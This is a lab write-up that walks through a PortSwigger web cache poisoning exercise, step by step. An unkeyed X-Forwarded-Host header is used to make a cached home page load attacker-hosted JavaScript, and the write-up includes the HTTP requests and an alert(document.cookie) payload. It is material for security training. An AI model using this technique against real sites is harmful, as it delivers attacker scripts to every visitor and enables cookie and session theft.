Web cache poisoning with an unkeyed header

4 min read Medium Portswigger
Contents

On this page

The lab

here is how portswigger describes it

This lab is vulnerable to web cache poisoning because it handles input from an unkeyed header in an unsafe way. An unsuspecting user regularly visits the site's home page. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.

the home page is served from a cache, and the page reflects an incoming header into an absolute url that pulls in a javascript file. that header is not part of the cache key, so we can bend the reflected value, get a malicious response saved under the normal home page key, and then every ordinary visitor is served our poisoned copy. the victim visits the home page regularly, so once the cache holds our version their browser runs our script on its own.

what is cache poisoning#

a cache sits in front of the app and keeps copies of responses so it can answer repeat requests without going back to the server every time. to decide whether a new request can be answered from a stored copy it builds a cache key, usually from the path and some chosen headers, and if an incoming request produces the same key it is handed the saved response. web cache poisoning abuses this, if you can make the server generate a harmful response while keeping the cache key identical to a normal request, the cache stores your harmful response under that innocent key and then serves it to everyone whose request matches. you attack the server once, the cache distributes the damage.

what is an unkeyed header and how this works#

the cache key is built from only some of the request, the keyed parts. anything the cache ignores when building the key is unkeyed, it still reaches the application and can still change the response, but two requests that differ only in an unkeyed value are treated as the same entry. that is the exact gap this attack needs. here X-Forwarded-Host is unkeyed but the app trusts it to build the absolute url for a script import. so we send the home page request with a poisoned X-Forwarded-Host, the response comes back importing our script, and because the header was unkeyed the cache files that poisoned response under the plain home page key. from then on real visitors asking for the home page get our version complete with our script tag, no header needed on their side.

Step 1 - Confirm the home page is cached#

we intercept a normal request for the home page and send it to Repeater to study it.

11

in the response we see Age: 3 and X-Cache: hit. the X-Cache: hit tells us this response was served from the cache rather than freshly generated, and Age is how long the stored copy has been sitting there. so the home page is cacheable, which is the surface we are going to poison.

Step 2 - Find the unkeyed header reflection#

to probe safely without clobbering the real cached page we add a cache-buster query parameter so our experiments get their own cache key, something like ?cb=1234. then we add an X-Forwarded-Host header with an arbitrary hostname and send it:

http
GET /?cb=1234 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
X-Forwarded-Host: logicbreaker.sh
22

in the response we see our X-Forwarded-Host value has been used to build an absolute url for importing a javascript file at /resources/js/tracking.js. so the page will happily load that script from whatever host we name. replaying the request shows X-Cache: hit, confirming our crafted response gets cached too.

Step 3 - Host the malicious script on the exploit server#

we go to the exploit server and set the file path to match the one the page imports:

HTTP
/resources/js/tracking.js

in the body we put the payload and store it:

javascript
alert(document.cookie)
33

now any page that imports tracking.js from our exploit server will run alert(document.cookie).

Step 4 - Poison the real home page cache#

we open the home page GET request in Repeater again and this time remove the cache buster, so we are hitting the real home page cache key. we add our exploit server as the forwarded host:

http
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
44

we keep replaying the request until the response both reflects our exploit server url in the script import and shows X-Cache: hit. the hit is the goal, it means our poisoned response is now the stored copy for the plain home page, so the next visitor is served a page importing our script.

Step 5 - confirm as the victim#

to simulate the victim we load the poisoned home page url in the browser and watch alert(document.cookie) fire.

55

the regular visitor hits the same cached entry and runs our script on their next visit, which solves the lab.

with this, the lab is solved!